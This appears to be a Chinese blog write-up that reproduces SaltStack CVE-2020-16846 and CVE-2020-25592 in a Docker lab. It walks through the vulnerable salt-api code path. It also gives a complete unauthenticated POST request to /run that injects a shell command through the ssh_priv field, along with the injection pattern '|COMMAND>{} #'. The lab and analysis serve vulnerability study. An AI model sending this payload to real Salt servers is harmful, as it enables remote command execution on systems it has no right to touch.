1.漏洞详情

SaltStack是一个分布式的运维系统,在互联网场景中被广泛应用,有以下两个主要功能:
1.配置管理系统,能够将远程节点维护在一个预定义的状态(例如:确保安装特定的软件包并运行特定的服务)
2.分布式远程执行系统,用于在远程节点上单独或者通过任意选择标准来执行命令和查询数据。

CVE-2020-16846:命令注入漏洞 未经过身份验证的攻击者通过发送特质的请求包,可以通过Salt API注入ssh连接命令导致命令执行。

CVE-2020-25592:验证绕过漏洞 Salt在验证eauth凭据和访问控制列表ACL时存在一处验证绕过漏洞。未经过身份验证的远程攻击者通过发送特制的请求包,可以通过salt-api绕过身份验证,并使用salt ssh练级目标服务器。结合CVE-2020-16846能造成命令执行。

2.漏洞环境

dockerhub仓库中搜索/vulfocus/saltstack找到我们上传的镜像。

https://hub.docker.com/r/vulfocus/saltstack-cve_2020_16846

1.将镜像下载到本地环境

docker pull vulfocus/saltstack-cve_2020_16846:latest

2.启动镜像

docker run -d -p 22:22 -p 4505:4505 -p 4506:4506
-p 8080:8080 vulfocus/saltstack-cve_2020_16846:latest


页面显示如下则证明环境启动成功

8000:这是Salt的API端口,需要通过https访问
22:这是容器内部的SSH服务器监听的端口
4505/4506 这是SaltStack Master与minions通信的端口

3.漏洞复现

3.1 通过分析后构造poc:

POST /run HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

token=123123&client=ssh&tgt=*&fun=a&roster=flyoung&ssh_priv=aaa|payload

3.2 Burp改包,通过ssh_priv位置注入命令touch /tmp/success2

3.3 进入容器可见已执行成功:

4.漏洞分析

salt-api REST接口默认使用cherrypy框架,从run接口的实现上可以看出通过client参数动态调用NetapiClient类中的方法。
文中指定代码位置采用以下约定:FileLocation:Classname.method()

salt/netapi/init.py:NetapiClient.run()


low参数为外部传入参数,salt.utils.args.format_call方法将参数赋值给**kwargs。

当client参数为ssh时,动态调用salt/netapi/init.py:NetapiClient.ssh()

该方法未采用任何鉴权

salt/netapi/init.py:NetapiClient.ssh()


跟进,路径如下:

salt/netapi/init.py:NetapiClient.ssh()⇒salt/client/ssh/client.py:SSHClient.cmd_sync()⇒salt/client/ssh/client.py:SSHClient._prep_ssh()

salt/client/ssh/client.py:SSHClient._prep_ssh()


该方法将kwargs外部可控参数更新值opts变量,该变量可以理解为SaltStack系统的环境变量,使用该变量初始化salt.client.ssh.SSH。

salt/client/ssh/init.py:SSH.init()



priv的值从opts变量中获取,并调用salt.client.ssh.shell.gen_key()方法。

salt/client/ssh/shell.py:gen_key()


该方法中对命令进行拼接,并进行执行。当传入值为|COMMAND>{} #即可执行COMMAND命令。

最后修改:2022 年 03 月 31 日 10 : 02 PM
如果觉得这篇文章不错,不妨赏我碎银几两。